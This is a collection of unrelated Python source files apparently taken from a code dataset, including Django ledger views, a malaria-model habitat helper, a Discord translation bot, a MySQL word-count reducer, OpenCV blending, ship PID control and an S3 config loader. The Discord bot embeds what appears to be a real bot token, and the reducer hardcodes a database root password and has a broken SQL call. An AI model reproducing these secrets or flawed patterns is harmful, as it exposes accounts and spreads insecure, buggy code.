'crud/pembayaran_lain.html', {\n        'form': form_input,\n    })\n\ndef barangv(req):\n    form_input = forms.barangf()\n    if req.POST:\n        form_input = forms.barangf(req.POST)\n        if form_input.is_valid():\n            form_input.save()\n        return redirect('/barang')\n    return render(req, 'crud/barang.html', {\n        'form': form_input,\n    })\n\n\n\n\n\n\n\n\n\n\n#edit\ndef edit_p_tunai(req, id):\n    if req.POST:\n        models.penjualan1m.objects.filter(pk=id).update(kuantitas=req.POST['kuantitas'], catatan=req.POST['catatan'])\n        return redirect('/penjualan_tunai')\n\n    penjualan = models.penjualan1m.objects.filter(pk=id).first()\n    return render(req, 'penjualan/edit_p_tunai.html', {\n        'data': penjualan,\n    })\n\ndef edit_p_kredit(req, id):\n    if req.POST:\n        models.penjualan2m.objects.filter(pk=id).update(kuantitas=req.POST['kuantitas'], catatan=req.POST['catatan'])\n        return redirect('/penjualan_kredit')\n\n    penjualan = models.penjualan2m.objects.filter(pk=id).first()\n    return render(req, 'penjualan/edit_p_kredit.html', {\n        'data': penjualan,\n    })\n\ndef edit_p_lain(req, id):\n    if req.POST:\n        models.penjualan3m.objects.filter(pk=id).update(keterangan=req.POST['keterangan'], kas=req.POST['kas'], piutang=req.POST['piutang'], catatan=req.POST['catatan'])\n        return redirect('/penjualan_lain')\n\n    penjualan = models.penjualan3m.objects.filter(pk=id).first()\n    return render(req, 'penjualan/edit_p_lain.html', {\n        'data': penjualan,\n    })\n\ndef edit_utang(req, id):\n    if req.POST:\n        models.utangm.objects.filter(pk=id).update(keterangan=req.POST['keterangan'], jumlah=req.POST['jumlah'], catatan=req.POST['catatan'])\n        return redirect('/utang')\n\n    utang = models.utangm.objects.filter(pk=id).first()\n    return render(req, 'uangmasuk/edit_utang.html', {\n        'data': utang,\n    })\n\ndef edit_pend_lain(req, id):\n    if req.POST:\n        models.pend_lainm.objects.filter(pk=id).update(keterangan=req.POST['keterangan'], jumlah=req.POST['jumlah'], catatan=req.POST['catatan'])\n        return redirect('/pend_lain')\n\n    pend = models.pend_lainm.objects.filter(pk=id).first()\n    return render(req, 'uangmasuk/edit_pend_lain.html', {\n        'data': pend,\n    })\n\ndef edit_pem_tunai(req, id):\n    if req.POST:\n        models.pem_tunaim.objects.filter(pk=id).update(keterangan=req.POST['keterangan'], jumlah=req.POST['jumlah'], catatan=req.POST['catatan'])\n        return redirect('/pembelian_tunai')\n\n    pem = models.pem_tunaim.objects.filter(pk=id).first()\n    return render(req, 'pembelian/edit_pem_tunai.html', {\n        'data': pem,\n    })\n\ndef edit_pem_kredit(req, id):\n    if req.POST:\n        models.pem_kreditm.objects.filter(pk=id).update(keterangan=req.POST['keterangan'], jumlah=req.POST['jumlah'], catatan=req.POST['catatan'])\n        return redirect('/pembelian_kredit')\n\n    pem = models.pem_kreditm.objects.filter(pk=id).first()\n    return render(req, 'pembelian/edit_pem_kredit.html', {\n        'data': pem,\n    })\n\ndef edit_pem_lain(req, id):\n    if req.POST:\n        models.pem_lainm.objects.filter(pk=id).update(keterangan=req.POST['keterangan'], jumlah=req.POST['jumlah'], catatan=req.POST['catatan'])\n        return redirect('/pembelian_lain')\n\n    pem = models.pem_lainm.objects.filter(pk=id).first()\n    return render(req, 'pembelian/edit_pem_lain.html', {\n        'data': pem,\n    })\n\ndef edit_pembayaran_biaya(req, id):\n    if req.POST:\n        models.pembayaran_biayam.objects.filter(pk=id).update(keterangan=req.POST['keterangan'], dibayar=req.POST['dibayar'], catatan=req.POST['catatan'])\n        return redirect('/pembayaran_biaya')\n\n    pem = models.pembayaran_biayam.objects.filter(pk=id).first()\n    return render(req, 'uangkeluar/edit_pembayaran_biaya.html', {\n        'data': pem,\n    })\n\ndef edit_pembayaran_lain(req, id):\n    if req.POST:\n        models.pembayaran_lainm.objects.filter(pk=id).update(keterangan=req.POST['keterangan'], utang=req.POST['utang'], dibayar=req.POST['dibayar'], catatan=req.POST['catatan'])\n        return redirect('/pembayaran_lain')\n\n    pem = models.pembayaran_lainm.objects.filter(pk=id).first()\n    return render(req, 'uangkeluar/edit_pembayaran_lain.html', {\n        'data': pem,\n    })\n\ndef edit_barang(req, id):\n    if req.POST:\n        models.barangm.objects.filter(pk=id).update(barang=req.POST['barang'], harga_beli=req.POST['harga_beli'], harga_jual=req.POST['harga_jual'])\n        return redirect('/barang')\n\n    pem = models.barangm.objects.filter(pk=id).first()\n    return render(req, 'keperluan/edit_barang.html', {\n        'data': pem,\n    })\n\ndef edit_piutang(req, id):\n    if req.POST:\n        models.penjualan2m.objects.filter(pk=id).update(kuantitas=req.POST['kuantitas'], catatan=req.POST['catatan'])\n        return redirect('/penjualan_kredit')\n\n    penjualan = models.penjualan2m.objects.filter(pk=id).first()\n    return render(req, 'penjualan/edit_p_kredit.html', {\n        'data': penjualan,\n    })\n\n\n\n\n\n\n\n# Hapus\ndef hapus1(req, id):\n    models.penjualan1m.objects.filter(pk=id).delete()\n    return redirect('/penjualan_tunai')\n\ndef hapus2(req, id):\n    models.penjualan2m.objects.filter(pk=id).delete()\n    return redirect('/penjualan_kredit')\n\ndef hapus3(req, id):\n    models.penjualan3m.objects.filter(pk=id).delete()\n    return redirect('/penjualan_lain')","sub_path":"Novice/05-04/kelompok/olshop/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":11155,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"207149914","text":"from dtk.utils.Campaign.CampaignClass import *\n\n\ndef scale_larval_habitats(cb, df=None,\n                          start_day=0, repetitions=1, tsteps_btwn_repetitions=365,\n                          node_property_restrictions=None):\n    \"\"\"\n    Reduce available larval habitat in a node-specific way.\n\n    Args:\n        cb: The :py:class:`DTKConfigBuilder \n            <dtk.utils.core.DTKConfigBuilder>` object.\n        df: The dataframe containing habitat scale factors.\n        start_day: The date that habitats are scaled for all scaling\n            actions specified in **df**. Applied only if there is no\n            Start_Day column in **df**.\n        repetitions: The number of times to repeat the intervention.\n        tsteps_btwn_repetitions: The number of time steps between \n            repetitions.\n        node_property_restrictions: The node property values to target; \n            used with NodePropertyRestrictions. For example, \n            ``[{ \"NodeProperty1\" : \"PropertyValue1\" }, \n            {'NodeProperty2': \"PropertyValue2\"}, ...]``.\n\n    Examples:\n        Scale TEMPORARY_RAINFALL by 3-fold for all nodes, all species::\n\n            df = pd.DataFrame({ 'TEMPORARY_RAINFALL': [3]})\n\n         Scale TEMPORARY_RAINFALL by 3-fold for all nodes, arabiensis only::\n\n            df = pd.DataFrame({ 'TEMPORARY_RAINFALL.arabiensis': [3]})\n\n        Scale differently by node ID::\n\n            df = pd.DataFrame({ 'NodeID' : [0, 1, 2, 3, 4],\n                                'CONSTANT': [1, 0, 1, 1, 1],\n                                'TEMPORARY_RAINFALL': [1, 1, 0, 1, 0],\n                                 })\n\n        Scale differently by both node ID and species::\n\n            df = pd.DataFrame({ 'NodeID' : [0, 1, 2, 3, 4],\n                                'CONSTANT.arabiensis': [1, 0, 1, 1, 1],\n                                'TEMPORARY_RAINFALL.arabiensis': [1, 1, 0, 1, 0],\n                                'CONSTANT.funestus': [1, 0, 1, 1, 1]\n                             })\n\n        Scale some habitats by species and others same for all species::\n\n            df = pd.DataFrame({  'NodeID' : [0, 1, 2, 3, 4],\n                                 'CONSTANT.arabiensis': [1, 0, 1, 1, 1],\n                                 'TEMPORARY_RAINFALL.arabiensis': [1, 1, 0, 1, 0],\n                                 'CONSTANT.funestus': [1, 0, 1, 1, 1],\n                                 'LINEAR_SPLINE': [1, 1, 0, 1, 0]\n                                 })\n\n        Scale nodes at different dates::\n\n            df = pd.DataFrame({  'NodeID' : [0, 1, 2, 3, 4],\n                                 'CONSTANT': [1, 0, 1, 1, 1],\n                                 'TEMPORARY_RAINFALL': [1, 1, 0, 1, 0],\n                                 'Start_Day': [0, 30, 60, 65, 65],\n                                 })\n    \n    Returns:\n        None\n    \"\"\"\n    if not node_property_restrictions:\n        node_property_restrictions = []\n\n    if 'Start_Day' not in df.columns.values:\n        df['Start_Day'] = start_day\n\n    standard_columns = ['NodeID', 'Start_Day']\n    habitat_cols = [x for x in df.columns.values if x not in standard_columns]\n    habitat_names = list(set([x.split('.')[0] for x in habitat_cols]))\n    by_species = any(['.' in x for x in df.columns.values if x not in standard_columns])\n    by_node = True if 'NodeID' in df.columns.values else False\n\n    for start_day, df_by_date in df.groupby('Start_Day'):\n        for gn, gdf in df_by_date.groupby(habitat_cols):\n            hab_scales = []\n            if not by_species:\n                if len(habitat_names) == 1:\n                    hab_scales.append({\"Habitat\": habitat_cols[0],\n                                       \"Species\": \"ALL_SPECIES\",\n                                       \"Factor\": gn})\n                else:\n                    for x, y in zip(habitat_cols, gn):\n                        hab_scales.append({\"Habitat\": x,\n                                           \"Species\": \"ALL_SPECIES\",\n                                           \"Factor\": y})\n\n            else:\n                if len(habitat_names) == 1:\n                    if len(habitat_cols) == 1:\n                        hab, sp = habitat_cols[0].split('.')\n                        hab_scales.append({\"Habitat\": hab,\n                                           \"Species\": sp,\n                                           \"Factor\": gn})\n                    else:\n                        hab = habitat_cols[0].split('.')[0]\n                        species = [x.split('.')[1] for x in habitat_cols]\n                        for sp, x in zip(species, gn):\n                            hab_scales.append({\"Habitat\": hab,\n                                               \"Species\": sp,\n                                               \"Factor\": gn})\n                else:\n                    for ih, hab in enumerate(habitat_names):\n                        if hab in habitat_cols:\n                            hab_scales.append({\"Habitat\": hab,\n                                               \"Species\": \"ALL_SPECIES\",\n                                               \"Factor\": gn[ih]})\n                        else:\n                            h = [x for x in habitat_cols if hab in x]\n                            vals = [gn[x] for x in range(len(habitat_cols)) if hab in habitat_cols[x]]\n                            for x, y in zip(h, vals):\n                                hab_scales.append({\"Habitat\": hab,\n                                                   \"Species\": x.split('.')[1],\n                                                   \"Factor\": y})\n\n            if by_node:\n                node_cfg = NodeSetNodeList(Node_List=[int(x) for x in gdf['NodeID']])\n            else:\n                node_cfg = NodeSetAll()\n\n            add_habitat_reduction_event(cb, start_day=start_day, node_cfg=node_cfg, hab_scales=hab_scales,\n                                        repetitions=repetitions, tsteps_btwn_repetitions=tsteps_btwn_repetitions,\n                                        node_property_restrictions=node_property_restrictions)\n\n\ndef add_habitat_reduction_event(cb, start_day, node_cfg, hab_scales, repetitions, tsteps_btwn_repetitions,\n                                node_property_restrictions):\n    \"\"\"\n        Add a campaign event that reduces mosquito larval habitat.\n    Args:\n        cb: The :py:class:`DTKConfigBuilder\n            <dtk.utils.core.DTKConfigBuilder>` object.\n        start_day: The date the campaign event starts\n            (**Start_Day** parameter).\n        node_cfg:  The node configuration that specifies which nodes\n            in which to apply the event (**Nodeset_Config**\n            parameter).\n        hab_scales: list of dictionaries for scaling larval habitats.\n            Example:\n            [{\"Habitat\": ALL_HABITATS, \"Species\": \"ALL_SPECIES\", \"Factor\": 0.5},\n            {\"Habitat\": \"CONSTANT\", \"Species\": \"arabiensis\", \"Factor\": 2}]\n        repetitions: The number of times to repeat the intervention.\n        tsteps_btwn_repetitions: The number of time steps between\n            repetitions.\n        node_property_restrictions:  The node property values to target;\n            used with NodePropertyRestrictions. For example,\n            ``[{ \"NodeProperty1\" : \"PropertyValue1\" },\n            {'NodeProperty2': \"PropertyValue2\"}, ...]``.\n\n    Returns:\n        None\n\n    \"\"\"\n\n    habitat_reduction_event = CampaignEvent(\n        Start_Day=start_day, Nodeset_Config=node_cfg,\n        Event_Coordinator_Config=StandardInterventionDistributionEventCoordinator(\n            Number_Repetitions=repetitions,\n            Timesteps_Between_Repetitions=tsteps_btwn_repetitions,\n            Node_Property_Restrictions=node_property_restrictions,\n            Intervention_Config=ScaleLarvalHabitat(\n                Larval_Habitat_Multiplier=\n                {\"LarvalHabitatMultiplier\": hab_scales})))\n\n    cb.add_event(habitat_reduction_event)\n","sub_path":"dtk/interventions/habitat_scale.py","file_name":"habitat_scale.py","file_ext":"py","file_size_in_byte":7900,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"587783164","text":"import discord\n\nclient = discord.Client()\nS = []\nQ = ''\nA = ''\nexec(open('DiscordBotWorkings.py').read())\nexec(open('TranslateBot.py').read())\n@client.event\nasync def on_message(message):\n\tglobal Q, S, A\n\tif message.author == client.user:\n\t\treturn\n\tprint('ChannelId: ' + str(message.channel))\n\tprint(str(message.author) + ': ' + message.content)\n\tA = aaa(str(tra(message.content, 'en').text))\n\tif str(message.channel) == '鋼の錬金術師-fullmetal-alchemist':\n\t\tA = str(tra(A, 'ja').text)\n\t\tpass\n\tprint('FriendBot: ' + A)\n\tawait client.send_message(message.channel, A.format(message))\n\n@client.event\nasync def on_ready():\n\tprint('Logged in as')\n\tprint(client.user.name)\n\tprint(client.user.id)\n\tprint('------')\n\nclient.run('NDk5MTk1ODI3NjQ3MDIxMDc3.Dst_zg.hliMXY7BtPpPsbXx_zjXZ4JsUb0')\n","sub_path":"DiscordBot.py","file_name":"DiscordBot.py","file_ext":"py","file_size_in_byte":788,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"494027850","text":"import mysql.connector\nimport sys\n \nwordcount = {}\n \nfor line in sys.stdin:\n    line = line.strip()\n\n    word, count = line.split('\\t', 1)\n\n    try:\n        count = int(count)\n    except ValueError:\n        continue\n \n    try:\n        wordcount[word] = wordcount[word]+count\n    except:\n        wordcount[word] = count\n\nconnection = mysql.connector.connect(\n    host='localhost',\n    database='Homework',\n    user='root',\n    password='Zhengnian13'\n)\ncursor = connection.cursor()\n\ndef inserttosql (Word, Count):\n    sql = \"\"\"INSERT INTO Homework2 (Word, Count) VALUES (%s, %s)\"\"\" \n    val = (Word, Count)\n    cursor.execute(sql)\n    connection.commit()\n\nfor word in wordcount.keys():\n    inserttosql(str(word), int(wordcount[word]))\n    print('%s\\t%s' % ( word, wordcount[word]))\n\ncursor.close()\n\nprint(\"\\nData succesfully loaded to your SQL Database\")\n\n\n","sub_path":"reduce.py","file_name":"reduce.py","file_ext":"py","file_size_in_byte":855,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"538435369","text":"import numpy as np\nimport cv2\n\n\nA = cv2.imread('apple.jpg')  # png的貌似不行~~\nB = cv2.imread('orange.jpg')\nA = cv2.resize(A, dsize=(256, 256))  # 截的图，所以需要将其重置大小，否则无法拼接\nB = cv2.resize(B, dsize=(256, 256))\n# generate Gaussian pyramid for A\nG = A.copy()\ngpA = [G]\nfor i in range(6):\n    G = cv2.pyrDown(G)  # 将苹果进行6层高斯金字塔处理\n    gpA.append(G)\n# generate Gaussian pyramid for B\nG = B.copy()\ngpB = [G]\nfor i in range(6):\n    G = cv2.pyrDown(G)  # 将桔子进行6层高斯金字塔处理\n    gpB.append(G)\n# generate Laplacian Pyramid for A\nlpA = [gpA[5]]\nfor i in range(5, 0, -1):\n    GE = cv2.pyrUp(gpA[i])  # 首先返回5层\n    L = cv2.subtract(gpA[i - 1], GE)  # 进行5级拉普拉斯金字塔处理\n    lpA.append(L)\n# generate Laplacian Pyramid for B\nlpB = [gpB[5]]\nfor i in range(5, 0, -1):\n    GE = cv2.pyrUp(gpB[i])\n    L = cv2.subtract(gpB[i - 1], GE)  # 同样将桔子进行5级拉普拉斯\n    lpB.append(L)\n# Now add left and right halves of images in each level\nLS = []\nfor la, lb in zip(lpA, lpB):\n    # print('**', la)\n    # print('***', lb)\n    rows, cols, dpt = la.shape\n    # 苹果的左边和桔子的右边拼接，然后再继续进行金字塔拼接\n    ls = np.hstack((la[:, 0:cols // 2], lb[:, cols // 2:]))\n    LS.append(ls)\n# now reconstruct\nls_ = LS[0]  # LS[0] 为高斯金字塔的最小图片，应该是第五层\nfor i in range(1, 6):  # 第一次循环的图像为高斯金字塔的最小图片，通过拉普拉斯回复到大图像\n    ls_ = cv2.pyrUp(ls_)\n    ls_ = cv2.add(ls_, LS[i])  # 采用金字塔的拼接\n# image with direct connecting each half\nreal = np.hstack((A[:, :cols // 2], B[:, cols // 2:]))  # 采用直接拼接\nwhile 1:\n    cv2.imshow('Pyramid_blending2.jpg', ls_)\n    cv2.imshow('Direct_blending.jpg', real)\n    if cv2.waitKey(1) == ord('q'):\n        break\n\ncv2.destroyAllWindows()\n","sub_path":"OpenCv/opencv15_3.py","file_name":"opencv15_3.py","file_ext":"py","file_size_in_byte":1913,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"397097124","text":"import pygame\nfrom pygame.locals import *\nfrom Constants import *\n\n\n\nclass Level:\n    def __init__(self):\n        \"Level's class\"\n        \n        self.background = pygame.image.load(background).convert()\n        self.bg_pos = (0, 0)\n\n        list_pos_block = [[100, 100]]\n        \n        self.list_blocks = pygame.sprite.Group()\n\n        self.create_blocks(list_pos_block)\n\n\n    def create_blocks(self, list_pos_block):\n        \"\"\"Create the list of blocks\"\"\"\n        \n        for pos in list_pos_block:\n            block = Blocks(pos[0], pos[1])\n\n            self.list_blocks.add(block)\n            \n\n    def draw(self, screen):\n        screen.blit(self.background, self.bg_pos)\n\n\n\nclass Blocks(pygame.sprite.Sprite):\n    def __init__(self, x, y):\n        \"\"\"Create blocks and draw them\"\"\"\n\n        super().__init__()\n\n        self.image = pygame.image.load(asteroid)\n        self.rect = self.image.get_rect()\n        self.mask = pygame.mask.from_surface(self.image)\n        self.rect.x, self.rect.y = x, y\n        \n        self.img_size = self.image.get_size()\n        self.radius = self.img_size[0] / 2\n\n\n    def draw(self, screen):\n        screen.blit(self.image, (self.rect.x, self.rect.y))\n        \n","sub_path":"Level.py","file_name":"Level.py","file_ext":"py","file_size_in_byte":1207,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"101569753","text":"#coding=utf-8\n# 同步图片检测服务接口, 会实时返回检测的结果\n\nfrom aliyunsdkcore import client\nfrom aliyunsdkcore.profile import region_provider\nfrom aliyunsdkgreen.request.v20180509 import ImageSyncScanRequest\nimport json\nimport uuid\nimport datetime\n\nimport configparser\ncf = configparser.ConfigParser()\ncf.read(\"aliyun.ak.conf\")\n# 请替换成你自己的accessKeyId、accessKeySecret, 您可以类似的配置在配置文件里面，也可以直接明文替换\nclt = client.AcsClient(cf.get(\"AK\", \"accessKeyId\"), cf.get(\"AK\", \"accessKeySecret\"),'cn-shanghai')\nregion_provider.modify_point('Green', 'cn-shanghai', 'green.cn-shanghai.aliyuncs.com')\nrequest = ImageSyncScanRequest.ImageSyncScanRequest()\nrequest.set_accept_format('JSON')\n\n# 同步现支持单张图片，即一个task\n# task1 = {\"dataId\": str(uuid.uuid1()),\n#          \"url\":\"http://xxxx.jpg\",\n#          \"time\":datetime.datetime.now().microsecond\n#         }\ntask1 = {'dataId': '804bd560-ecdd-11e9-9f01-d8cb8a717eff', 'url': 'https://qc-res.oss-cn-hangzhou.aliyuncs.com/covermap/0101cc5b3d564ba7914d4c5725cf6634.jpeg', 'time': 589173}\n\nrequest.set_content(bytearray(json.dumps({\"tasks\": [task1], \"scenes\": [\"porn\"]}), \"utf-8\"))\n\nresponse = clt.do_action(request)\nprint(response)\nresult = json.loads(response)\nif 200 == result[\"code\"]:\n    taskResults = result[\"data\"]\n    for taskResult in taskResults:\n        if (200 == taskResult[\"code\"]):\n            sceneResults = taskResult[\"results\"]\n\n            for sceneResult in sceneResults:\n                scene = sceneResult[\"scene\"]\n                suggestion = sceneResult[\"suggestion\"]\n                print(suggestion)\n                print(scene)\n                #根据scene和suggetion做相关的处理\n                #do something\n","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1776,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"96565439","text":"from keras.models import Sequential\nfrom keras.layers import SimpleRNN, Embedding, Dense, LSTM\nfrom test0_0 import max_features, input_train, y_train\n\nmodel = Sequential()\nmodel.add(Embedding(max_features, 32))\nmodel.add(LSTM(32))\n'''\nmodel.add(SimpleRNN(32, return_sequences=True))\nmodel.add(SimpleRNN(32))\n'''\nmodel.add(Dense(1, activation='sigmoid'))\nmodel.compile(optimizer='rmsprop',\n              loss='binary_crossentropy',\n              metrics=['acc'])\nhistory = model.fit(input_train, y_train,\n                    epochs=10,\n                    batch_size=128,\n                    validation_split=0.2)\n","sub_path":"T6/test0.py","file_name":"test0.py","file_ext":"py","file_size_in_byte":613,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"55711486","text":"import numpy as np\nimport time\nimport math\nfrom manoeuvre_model_borkum import ship_model\nfrom ship_class import ship\nfrom pid_small import PID\nimport matplotlib.pyplot as plt\n\ndef azimuth(point1, point2):\n    angle = np.arctan2(point2[0] - point1[0], point2[1] - point1[1])\n    return np.degrees(angle) if angle >= 0 else np.degrees(angle) + 360\n    #add thrust fraction here\n    \n    \nclass Turbo_Polyp():\n    def __init__(self, x_start, y_start, heading_start):\n        self.angle = 0.\n        self.angle_second_circle = 0.8\n        self.angle_second_attitude= 2.5\n        \n        self.radius = 20.\n        \n        self.heading = heading_start\n        self.x_start = x_start\n        self.y_start = y_start\n        \n    \n    def return_coordinates(self, time_delta):\n        self.angle = self.angle + time_delta*self.angle_second_circle\n        # print(self.angle)\n        new_x = self.x_start + self.radius*np.cos(np.deg2rad(self.angle))\n        new_y = self.x_start + self.radius*np.sin(np.deg2rad(self.angle))\n        return new_x, new_y\n    \n    def return_heading(self, time_delta):\n        self.heading = self.heading + time_delta*self.angle_second_attitude\n        return self.heading%360\n \n    \nimport time\n# time.sleep(3) \ncoef_ = np.genfromtxt('borkum_general_opt_.csv', delimiter=',')\n\nship = ship()\n\ninput_ = [(0,0,0,0),(50.0, 50.0,45.0, 1)]#, (50.0, 50.0,225, 50)]#, (0.0, 50.,270.0, 150)]#,(-50.0, -50.,270.0, 250)]#,(-50.0, 0.,180.0, 300),(-50.0, 0.,180.0, 450)]#, (0.0, 0,290, 120)]#, (50., 100., 100)]#,(100., 100., 200),(100., 0., 300)]#], (0., 100., 180)]#, (0., 0., 190)]#, (20,70), (10, 150)]\nend_input = 0\ninput_position = 0\nt = 0\ndt = 1. #future noise\nt_end = 520\npid_position_x = PID(P=0.6, I=0.0, D=25.)\npid_position_y = PID(P=0.6, I=0.0, D=25.)\npid_attitude =   PID(P=.1, I=0., D=16.5)\n\n\n# pid_position_x = PID(P=2.5, I=0.0, D=50.)\n# pid_position_y = PID(P=2.5, I=0.0, D=50.)\n# pid_attitude =   PID(P=.85, I=0.0, D=25.0)\n\n\n# pid_attitude =   PID(P=.265, I=0.0, D=.9)\nship_model = ship_model(0,0,0, ship, coef_)\nx, x_old = 0, 0 \ny, y_old = 0, 0\nu, v, r, hdg = 0.0,0,0,45\nrpm_1, rpm_2 = 0,0\ninput_ref = []\ntraj_x, traj_y, hdg_list = [], [], []\nlast_coordinate = [0,0]\n\nsign_attitude_control = 1\n\ncurrent_input_setting_attitude = 0\n\nturbo_polyp = Turbo_Polyp(x, y, hdg)\nt_polyp = 0.0\n\ncurrent_input_setting_x = turbo_polyp.radius\ncurrent_input_setting_y = y\ncurrent_input_setting_attitude = hdg\n\npid_position_x.setPoint_hdg(current_input_setting_x)\npid_position_y.setPoint_hdg(current_input_setting_y)\npid_attitude.setPoint_hdg(current_input_setting_attitude)\n\n#init pygame\nfrom pygame_visualize import Kernel\nsettings = None\ngame_vis = Kernel(settings)\n\nmax_rpm = 12.2\n\n\nwhile t<t_end:\n    # calculate speed input\n    # print(end_input)\n    if end_input==0:\n        if input_[input_position+1][3] <= t:\n            # print(t ,input_[input_position+1][1])\n            last_coordinate[0] = input_[input_position][0];last_coordinate[1] = input_[input_position][1]\n            # print(input_position)\n            current_input_setting_x = input_[input_position+1][0]\n            current_input_setting_y = input_[input_position+1][1]\n            current_input_setting_attitude = input_[input_position+1][2]\n            \n            pid_position_x.setPoint_hdg(current_input_setting_x)\n            pid_position_y.setPoint_hdg(current_input_setting_y)\n            pid_attitude.setPoint_hdg(current_input_setting_attitude)\n            \n            input_position += 1\n            if input_position==len(input_)-1:\n                end_input = 1\n                \n                \n                \n    # turbo_polyp\n    # if t - t_polyp>5.0:\n        \n    #     new_x, new_y = turbo_polyp.return_coordinates(t - t_polyp)\n    #     # print(new_x, new_y)\n    #     new_hdg = turbo_polyp.return_heading(t - t_polyp)\n    #     current_input_setting_x = new_x\n    #     current_input_setting_y = new_y\n    #     current_input_setting_attitude = new_hdg\n        \n    #     pid_position_x.setPoint_hdg(current_input_setting_x)\n    #     pid_position_y.setPoint_hdg(current_input_setting_y)\n    #     pid_attitude.setPoint_hdg(current_input_setting_attitude)\n    #     t_polyp = t\n    #     # print(new_x, new_y, new_hdg)\n        \n        \n    control_input_x = pid_position_x.update(x, dt)\n    control_input_y = pid_position_y.update(y, dt)\n    \n    # print(control_input_x)\n    sign_control_input_x = np.sign(control_input_x)\n    sign_control_input_y = np.sign(control_input_y)\n    \n    \n    \n    \n    if math.copysign(1, control_input_x)==1:\n        rsa_1 = 270.\n    else:\n        rsa_1 = 90.\n        \n        \n    if math.copysign(1, control_input_y)==1:\n        rsa_2 = 180.0\n    else:\n        rsa_2 = 0.0\n    \n    rsa_1 = rsa_1 - hdg \n    rsa_2 = rsa_2 - hdg \n\n    rpm_1 = abs(control_input_x)\n    rpm_2 = abs(control_input_y)\n    \n    \n    if rpm_1>max_rpm:\n        rpm_1 = max_rpm\n    if rpm_2>max_rpm:\n        rpm_2 = max_rpm\n    \n    \n######### attitude\n    control_input_attitude = pid_attitude.update_attitude(hdg, dt)\n    sign_control_input_attitude = np.sign(control_input_attitude)     \n    print(control_input_attitude)\n    if 180.>(current_input_setting_attitude-hdg)>0.0 or -360.0<(current_input_setting_attitude-hdg)<-180.0:\n        rsa_0 = 90.0\n        if np.sign(control_input_attitude)==-1:\n            rsa_0 = 270.0\n    else:\n        rsa_0 = 270.0\n        if np.sign(control_input_attitude)==1:\n            rsa_0 = 90.0\n    rpm_0 = abs(control_input_attitude)\n    if rpm_0>max_rpm:\n        rpm_0 = max_rpm\n        \n    print('a', rsa_0, rsa_1, rsa_2, rpm_0)\n##############    \n    \n    \n    \n   \n        \n    # print(control_input_attitude, current_input_setting_attitude-hdg, rsa_0, hdg)\n\n    \n    \n    u, v, r, hdg, delta_x_0, delta_y_0, delta_r_0, u_dot, v_dot, r_dot = ship_model.manoeuvre_model_borkum(u, v, r, hdg,\n                                                                                               rpm_0, rpm_1, rpm_2,\n                                                                                               rsa_0, rsa_1, rsa_2,\n                                                                                               dt\n                                                                                              )\n\n    x = x + delta_x_0\n    y = y + delta_y_0\n    \n    #visualize send x, y and hdg\n    time.sleep(0.001)\n    game_vis.main_loop(x,y,hdg)\n    \n    \n\n    traj_x.append(x)\n    traj_y.append(y)\n    hdg_list.append(rsa_0)\n    input_ref.append(current_input_setting_attitude)\n    t = t + dt\n# plt.plot(hdg_list)\n# plt.plot(input_ref)\nplt.plot(traj_x, traj_y)\n# plt.plot(hdg_list)\n\n","sub_path":"RT Borkum System identification/position_cntrl.py","file_name":"position_cntrl.py","file_ext":"py","file_size_in_byte":6652,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"182656140","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Nov 19 11:58:37 2016\n\n@author: brian\n\"\"\"\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nplt.rc('text', usetex=True)\nplt.rc('font', family='serif')\n\nm_h = 2\nm_e = m_h/2\n\nk = np.linspace(0,1,100)\nh = k**2/m_h\ne = k**2/m_e\n\nplt.plot(k,h, color='black')\nplt.plot(k,e, color='black')\nplt.suptitle(\"Dispersion relationship for electrons and holes\", fontsize=13.5)\nplt.ylabel(\"$E$\", fontsize=14)\nplt.xlabel(\"$k$\", fontsize=14)\nplt.annotate(s=\"Electrons\\n$m=m^\\star_e$\", xy=[0.49,0.5], fontsize=12)\nplt.annotate(s=\"Holes\\n$m=2m^\\star_e$\", xy=[0.72,0.15], fontsize=12)\n\n\nframe = plt.gca()\nfig = plt.gcf()\nfig.set_size_inches(5,5)\nframe.axes.get_yaxis().set_ticks([0])\nframe.axes.get_xaxis().set_ticks([0])\nframe.set_xlim(xmin=-0.02)\nframe.set_ylim(ymin=-0.02)\n\nplt.savefig('prob1b.png',dpi=200)","sub_path":"HW8/hw8_figs.py","file_name":"hw8_figs.py","file_ext":"py","file_size_in_byte":834,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"197382335","text":"import logging\nimport boto3\nimport botocore\nimport os\nfrom botocore.config import Config\n\nLOGGER = logging.getLogger()\nLOGGER.setLevel(logging.INFO)\n\nCONFIG = Config(\n    retries=dict(\n        max_attempts=20\n    )\n)\n\ns3 = boto3.resource('s3', config=CONFIG, region_name='eu-west-2')\n\ndef gets3content():\n    s3_bucket_name = os.getenv('s3_bucket_name')\n\n    try:\n        s3.Bucket(s3_bucket_name).download_file('ssl.conf', '/etc/httpd/conf.d/ssl.conf')\n    except botocore.exceptions.ClientErrors as e:\n        if e.response['Error']['Code'] == '404':\n            logging.info('The Object does not exist')\n        else:\n            raise\n\n    try:\n        s3.Bucket(s3_bucket_name).download_file('httpd.conf', '/etc/httpd/conf/httpd.conf')\n    except botocore.exceptions.ClientErrors as e:\n        if e.response['Error']['Code'] == '404':\n            logging.info('The Object does not exist')\n        else:\n            raise\n    try:\n        os.system(\"sudo systemctl reload httpd\")\n    except botocore.exceptions.ClientErrors as e:\n        if e.response['Error']['Code'] == '503':\n            logging.info('Service Reload Failed')\n        else:\n            